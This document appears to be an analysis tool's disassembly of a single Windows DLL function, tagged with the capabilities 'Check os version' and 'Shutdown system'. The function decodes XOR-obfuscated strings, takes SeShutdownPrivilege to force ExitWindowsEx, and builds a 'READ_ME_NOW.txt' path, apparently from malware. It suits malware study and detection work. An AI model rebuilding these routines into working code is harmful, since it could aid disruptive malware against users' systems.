Function at 0x10019880
Capabilities:
Check os version
Shutdown system

Disassembly:
sub esp, 0x27c
lea eax, [esp + 0x17c]
push ebx
mov ebx, dword [esp + 0x284]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push 0xff
push eax
push ebx
call ebp
lea ecx, [esp + 0x188]
push ecx
call fcn.100303a8
add esp, 4
mov ecx, 0xb
xor eax, eax
mov dl, byte [eax + str.__jc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0xc], dl
jns 0x100198da
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 6
jl 0x100198bd
lea eax, [esp + 0xc]
lea ecx, [esp + 0x188]
push eax
push ecx
mov byte [esp + 0x1a], 0
call fcn.100301e0
add esp, 8
test eax, eax
sete al
test al, al
je 0x100199e5
lea edx, [esp + 0x188]
lea eax, [esp + 0x24]
push edx
push 0x1004a698
push eax
call fcn.1002f444
add esp, 0xc
mov ecx, 0x46
xor eax, eax
mov dl, byte [eax + 0x1004a690]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0xc], dl
jns 0x10019945
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 6
jl 0x10019928
lea eax, [esp + 0xc]
push 0
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
mov byte [esp + 0x22], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea edx, [esp + 0x88]
push edx
mov dword [esp + 0x8c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, 2
cmp dword [esp + 0x98], esi
jne 0x100199e5
lea eax, [esp + 0xc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 0x18]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push 0
push edx
push 0
push eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, dword [esp + 0x290]
dec eax
jne 0x10019af0
push edi
push 0xff
push 0x10062bcc
push ebx
call ebp
mov edi, 0x10062bcc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, 0x10062bcc
cmp ecx, 0x10062bcc
jb 0x10019a2c
cmp byte [ecx], 0x5c
je 0x10019a2c
dec ecx
cmp ecx, 0x10062bcc
jae 0x10019a1e
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xff
push 0x10062ccc
push 0
mov byte [ecx + 1], 0
call esi
push eax
call ebp
mov edi, 0x10062ccc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, 0x10062ccc
cmp ecx, 0x10062ccc
jb 0x10019a72
cmp byte [ecx], 0x5c
je 0x10019a72
dec ecx
cmp ecx, 0x10062ccc
jae 0x10019a64
mov byte [ecx + 1], 0
push str.READ_ME_NOW.txt
push 0x10062bcc
lea ecx, [esp + 0x94]
push str._s_s
push ecx
call fcn.1002f444
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x10
push 0x100642ec
push 0x100195f0
push edx
push 0
call esi
push eax
call fcn.10019690
add esp, 0x10
push 0xff
push 0x10062bcc
push ebx
call ebp
mov edi, 0x10062bcc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
add ecx, 0x10062bcc
cmp ecx, 0x10062bcc
jb 0x10019aec
cmp byte [ecx], 0x5c
je 0x10019aec
dec ecx
cmp ecx, 0x10062bcc
jae 0x10019ade
mov byte [ecx + 1], 0
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x27c
ret 0xc